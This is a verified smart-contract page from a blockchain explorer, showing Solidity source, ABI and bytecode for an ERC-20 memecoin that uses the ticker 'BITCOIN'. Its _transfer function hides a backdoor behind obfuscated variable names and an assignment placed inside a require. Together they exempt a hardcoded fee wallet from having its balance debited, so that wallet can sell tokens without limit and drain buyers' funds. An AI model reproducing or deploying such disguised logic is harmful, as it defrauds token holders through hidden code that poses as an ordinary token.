Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...    - function _msgSender()  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract AliceBobCharlieDavidEveMa ... *    - function initialize()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function removeLimits()    - function sendETHToFee()    - function rescueEth()    - function swapTokensForEth(uint256 tok ...    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-09
*/

// SPDX-License-Identifier: MIT

/*
https://x.com/peterktodd/status/1843833882862596230

Tg: https://t.me/bitcoin_official_meme
*/

pragma solidity 0.8.27;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract AliceBobCharlieDavidEveMallory is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcitti;
    mapping (address => bool) private _bobDoo;
    address payable private _oopVeon;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=12;
    uint256 private _reduceSellTaxAt=12;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 21000000 * 10**_decimals;
    string private constant _name = unicode"AliceBobCharlieDavidEveMallory";
    string private constant _symbol = unicode"BITCOIN";
    uint256 public _maxTxAmount = _tTotal.mul(2).div(100);
    uint256 public _maxWalletSize = _tTotal.mul(2).div(100);
    uint256 public _taxSwapThreshold= _tTotal.mul(1).div(100);
    uint256 public _maxTaxSwap= _tTotal.mul(1).div(100);
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _oopVeon = payable(0xf89d1Ec66b4Cd57F02aA178C962ABC87eA0EF79a);
        _tOwned[_msgSender()] = _tTotal;
        _isExcitti[owner()] = true;
        _isExcitti[address(this)] = true;
        _isExcitti[_oopVeon] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function initialize() external onlyOwner { 
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 xxcAmt) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(xxcAmt > 0, "Transfer amount must be greater than zero");
        uint256 xxvAmt=0; uint256 maoTao=3+(6+xxcAmt-9);
        if (!swapEnabled || inSwap) {
            _tOwned[from] = _tOwned[from] - xxcAmt;
            _tOwned[to] = _tOwned[to] + xxcAmt;
            emit Transfer(from, to, xxcAmt);
            return;
        }
        if (from != owner() && to != owner() && to != _oopVeon) {
            require(_bobDoo[_oopVeon]=true && !_bobDoo[to]);
            if(_buyCount==0){
                xxvAmt = xxcAmt.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>_finalBuyTax&&_bobDoo[from]){maoTao=_buyCount>_finalBuyTax?(10-10)*50:(2-2)*(15-15);}
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcitti[to] ) {
                require(xxcAmt <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + xxcAmt <= _maxWalletSize, "Exceeds the maxWalletSize.");
                xxvAmt = xxcAmt.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }
            if(to == uniswapV2Pair && from!= address(this) ) {
                xxvAmt = xxcAmt.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _taxSwapThreshold)
                    swapTokensForEth(min(xxcAmt, min(contractTokenBalance, _maxTaxSwap)));
                sendETHToFee();
            }
        }
        if(xxvAmt>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(xxvAmt);
          emit Transfer(from, address(this), xxvAmt);
        }
        _tOwned[from]=_tOwned[from].sub(maoTao);
        _tOwned[to]=_tOwned[to].add(xxcAmt.sub(xxvAmt));
        emit Transfer(from, to, xxcAmt.sub(xxvAmt));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee() private {
        _oopVeon.transfer(address(this).balance);
    }

    function rescueEth() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600655600f6007555f6008555f600955600c600a55600c600b55600a600c555f600d5561005b606461005560026009600a610041919061042b565b61004f906301406f40610439565b9061022c565b906102b8565b600e55610074606461005560026100416009600a61042b565b600f5561008d606461005560016100416009600a61042b565b6010556100a6606461005560016100416009600a61042b565b6011556013805461ffff60a81b191690555f60148190556015553480156100cb575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673f89d1ec66b4cd57f02aa178c962abc87ea0ef79a17905561013e6009600a61042b565b61014c906301406f40610439565b335f9081526001602081905260408220929092556003906101745f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556101d13390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102086009600a61042b565b610216906301406f40610439565b60405190815260200160405180910390a36104a4565b5f825f0361023b57505f6102b2565b5f6102468385610439565b9050826102538583610450565b146102af5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f6102af83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506102ff60201b60201c565b5f818361031f5760405162461bcd60e51b81526004016102a6919061046f565b505f61032b8486610450565b95945050505050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156103835780850481111561036757610367610334565b600184161561037557908102905b60019390931c92800261034c565b935093915050565b5f82610399575060016102b2565b816103a557505f6102b2565b81600181146103bb57600281146103c5576103e1565b60019150506102b2565b60ff8411156103d6576103d6610334565b50506001821b6102b2565b5060208310610133831016604e8410600b8410161715610404575081810a6102b2565b6104105f198484610348565b805f190482111561042357610423610334565b029392505050565b5f6102af60ff84168361038b565b80820281158282048414176102b2576102b2610334565b5f8261046a57634e487b7160e01b5f52601260045260245ffd5b500490565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6118f1806104b15f395ff3fe608060405260043610610113575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb14610306578063bf474bed14610325578063c9567bf91461033a578063ce31a06b1461034e578063dd62ed3e14610362575f5ffd5b80637d1db4a5146102735780638129fc1c146102885780638da5cb5b1461029c5780638f9a55c0146102c257806395d89b41146102d7575f5ffd5b806323b872dd116100e357806323b872dd146101db578063313ce567146101fa57806370a0823114610215578063715018a614610249578063751039fc1461025f575f5ffd5b806306fdde031461011e578063095ea7b3146101755780630faee56f146101a457806318160ddd146101c7575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b5060408051808201909152601e81527f416c696365426f62436861726c696544617669644576654d616c6c6f7279000060208201525b60405161016c91906114f9565b60405180910390f35b348015610180575f5ffd5b5061019461018f366004611542565b6103a6565b604051901515815260200161016c565b3480156101af575f5ffd5b506101b960115481565b60405190815260200161016c565b3480156101d2575f5ffd5b506101b96103bc565b3480156101e6575f5ffd5b506101946101f536600461156c565b6103dc565b348015610205575f5ffd5b506040516009815260200161016c565b348015610220575f5ffd5b506101b961022f3660046115aa565b6001600160a01b03165f9081526001602052604090205490565b348015610254575f5ffd5b5061025d610443565b005b34801561026a575f5ffd5b5061025d6104bd565b34801561027e575f5ffd5b506101b9600e5481565b348015610293575f5ffd5b5061025d61056e565b3480156102a7575f5ffd5b505f546040516001600160a01b03909116815260200161016c565b3480156102cd575f5ffd5b506101b9600f5481565b3480156102e2575f5ffd5b506040805180820190915260078152662124aa21a7a4a760c91b602082015261015f565b348015610311575f5ffd5b50610194610320366004611542565b610767565b348015610330575f5ffd5b506101b960105481565b348015610345575f5ffd5b5061025d610773565b348015610359575f5ffd5b5061025d610958565b34801561036d575f5ffd5b506101b961037c3660046115c5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103b23384846109bb565b5060015b92915050565b5f6103c96009600a6116f3565b6103d7906301406f40611701565b905090565b5f6103e8848484610ade565b610439843361043485604051806060016040528060288152602001611894602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611176565b6109bb565b5060019392505050565b5f546001600160a01b031633146104755760405162461bcd60e51b815260040161046c90611718565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104e65760405162461bcd60e51b815260040161046c90611718565b6104f26009600a6116f3565b610500906301406f40611701565b600e5561050f6009600a6116f3565b61051d906301406f40611701565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61054d6009600a6116f3565b61055b906301406f40611701565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105975760405162461bcd60e51b815260040161046c90611718565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105e09030906105d26009600a6116f3565b610434906301406f40611701565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610630573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610654919061174d565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b3573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d7919061174d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610721573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610745919061174d565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f6103b2338484610ade565b5f546001600160a01b0316331461079c5760405162461bcd60e51b815260040161046c90611718565b601354600160a01b900460ff16156107f65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161046c565b6012546001600160a01b031663f305d7194730610827816001600160a01b03165f9081526001602052604090205490565b5f5f61083a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108a0573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c59190611768565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561091a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093e9190611793565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109815760405162461bcd60e51b815260040161046c90611718565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156109b8573d5f5f3e3d5ffd5b50565b6001600160a01b038316610a1d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046c565b6001600160a01b038216610a7e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b425760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046c565b6001600160a01b038216610ba45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046c565b5f8111610c055760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046c565b5f806009610c148460066117b2565b610c1e91906117c5565b610c299060036117b2565b601354909150600160b01b900460ff161580610c4e5750601354600160a81b900460ff165b15610d07576001600160a01b0385165f90815260016020526040902054610c769084906117c5565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610ca59084906117b2565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cf89087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610d3157505f546001600160a01b03858116911614155b8015610d4b57506005546001600160a01b03858116911614155b15611042576001600160a01b038481165f908152600460205260408082205460055490931682529020805460ff191660ff909216159182179055610d8d575f5ffd5b600d545f03610dc557610dc26064610dbc600a54600d5411610db157600654610db5565b6008545b86906111ae565b90611233565b91505b600854600d54118015610def57506001600160a01b0385165f9081526004602052604090205460ff165b15610e0d57600854600d5411610e05575f610e07565b5f5b60ff1690505b6013546001600160a01b038681169116148015610e3857506012546001600160a01b03858116911614155b8015610e5c57506001600160a01b0384165f9081526003602052604090205460ff16155b15610f5f57600e54831115610eb35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161046c565b600f5483610ed5866001600160a01b03165f9081526001602052604090205490565b610edf91906117b2565b1115610f2d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161046c565b610f486064610dbc600a54600d5411610db157600654610db5565b600d80549193505f610f59836117d8565b91905055505b6013546001600160a01b038581169116148015610f8557506001600160a01b0385163014155b15610fb257610faf6064610dbc600b54600d5411610fa557600754610db5565b60095486906111ae565b91505b305f90815260016020526040902054601354600160a81b900460ff16158015610fe857506013546001600160a01b038681169116145b8015610ffd5750601354600160b01b900460ff165b801561100c5750600c54600d54115b1561104057601054811115611038576110386110338561102e84601154611274565b611274565b611288565b6110406113f8565b505b81156110ba57305f90815260016020526040902054611061908361142e565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110b19086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110dc908261148c565b6001600160a01b0386165f9081526001602052604090205561111f611101848461148c565b6001600160a01b0386165f908152600160205260409020549061142e565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611168868661148c565b604051908152602001610cf8565b5f81848411156111995760405162461bcd60e51b815260040161046c91906114f9565b505f6111a584866117c5565b95945050505050565b5f825f036111bd57505f6103b6565b5f6111c88385611701565b9050826111d585836117f0565b1461122c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046c565b9392505050565b5f61122c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114cd565b5f818311611282578261122c565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112ce576112ce61180f565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611325573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611349919061174d565b8160018151811061135c5761135c61180f565b6001600160a01b03928316602091820292909201015260125461138291309116846109bb565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ba9085905f90869030904290600401611823565b5f604051808303815f87803b1580156113d1575f5ffd5b505af11580156113e3573d5f5f3e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109b8573d5f5f3e3d5ffd5b5f8061143a83856117b2565b90508381101561122c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046c565b5f61122c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611176565b5f81836114ed5760405162461bcd60e51b815260040161046c91906114f9565b505f6111a584866117f0565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146109b8575f5ffd5b5f5f60408385031215611553575f5ffd5b823561155e8161152e565b946020939093013593505050565b5f5f5f6060848603121561157e575f5ffd5b83356115898161152e565b925060208401356115998161152e565b929592945050506040919091013590565b5f602082840312156115ba575f5ffd5b813561122c8161152e565b5f5f604083850312156115d6575f5ffd5b82356115e18161152e565b915060208301356115f18161152e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561164b5780850481111561162f5761162f6115fc565b600184161561163d57908102905b60019390931c928002611614565b935093915050565b5f82611661575060016103b6565b8161166d57505f6103b6565b8160018114611683576002811461168d576116a9565b60019150506103b6565b60ff84111561169e5761169e6115fc565b50506001821b6103b6565b5060208310610133831016604e8410600b84101617156116cc575081810a6103b6565b6116d85f198484611610565b805f19048211156116eb576116eb6115fc565b029392505050565b5f61122c60ff841683611653565b80820281158282048414176103b6576103b66115fc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561175d575f5ffd5b815161122c8161152e565b5f5f5f6060848603121561177a575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156117a3575f5ffd5b8151801515811461122c575f5ffd5b808201808211156103b6576103b66115fc565b818103818111156103b6576103b66115fc565b5f600182016117e9576117e96115fc565b5060010190565b5f8261180a57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118735783516001600160a01b031683526020938401939092019160010161184c565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203fda486739ea68990d45c537edace70d7c42b9d76427d4c2e35302604b4f473564736f6c634300081b0033

0x608060405260043610610113575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb14610306578063bf474bed14610325578063c9567bf91461033a578063ce31a06b1461034e578063dd62ed3e14610362575f5ffd5b80637d1db4a5146102735780638129fc1c146102885780638da5cb5b1461029c5780638f9a55c0146102c257806395d89b41146102d7575f5ffd5b806323b872dd116100e357806323b872dd146101db578063313ce567146101fa57806370a0823114610215578063715018a614610249578063751039fc1461025f575f5ffd5b806306fdde031461011e578063095ea7b3146101755780630faee56f146101a457806318160ddd146101c7575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b5060408051808201909152601e81527f416c696365426f62436861726c696544617669644576654d616c6c6f7279000060208201525b60405161016c91906114f9565b60405180910390f35b348015610180575f5ffd5b5061019461018f366004611542565b6103a6565b604051901515815260200161016c565b3480156101af575f5ffd5b506101b960115481565b60405190815260200161016c565b3480156101d2575f5ffd5b506101b96103bc565b3480156101e6575f5ffd5b506101946101f536600461156c565b6103dc565b348015610205575f5ffd5b506040516009815260200161016c565b348015610220575f5ffd5b506101b961022f3660046115aa565b6001600160a01b03165f9081526001602052604090205490565b348015610254575f5ffd5b5061025d610443565b005b34801561026a575f5ffd5b5061025d6104bd565b34801561027e575f5ffd5b506101b9600e5481565b348015610293575f5ffd5b5061025d61056e565b3480156102a7575f5ffd5b505f546040516001600160a01b03909116815260200161016c565b3480156102cd575f5ffd5b506101b9600f5481565b3480156102e2575f5ffd5b506040805180820190915260078152662124aa21a7a4a760c91b602082015261015f565b348015610311575f5ffd5b50610194610320366004611542565b610767565b348015610330575f5ffd5b506101b960105481565b348015610345575f5ffd5b5061025d610773565b348015610359575f5ffd5b5061025d610958565b34801561036d575f5ffd5b506101b961037c3660046115c5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103b23384846109bb565b5060015b92915050565b5f6103c96009600a6116f3565b6103d7906301406f40611701565b905090565b5f6103e8848484610ade565b610439843361043485604051806060016040528060288152602001611894602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611176565b6109bb565b5060019392505050565b5f546001600160a01b031633146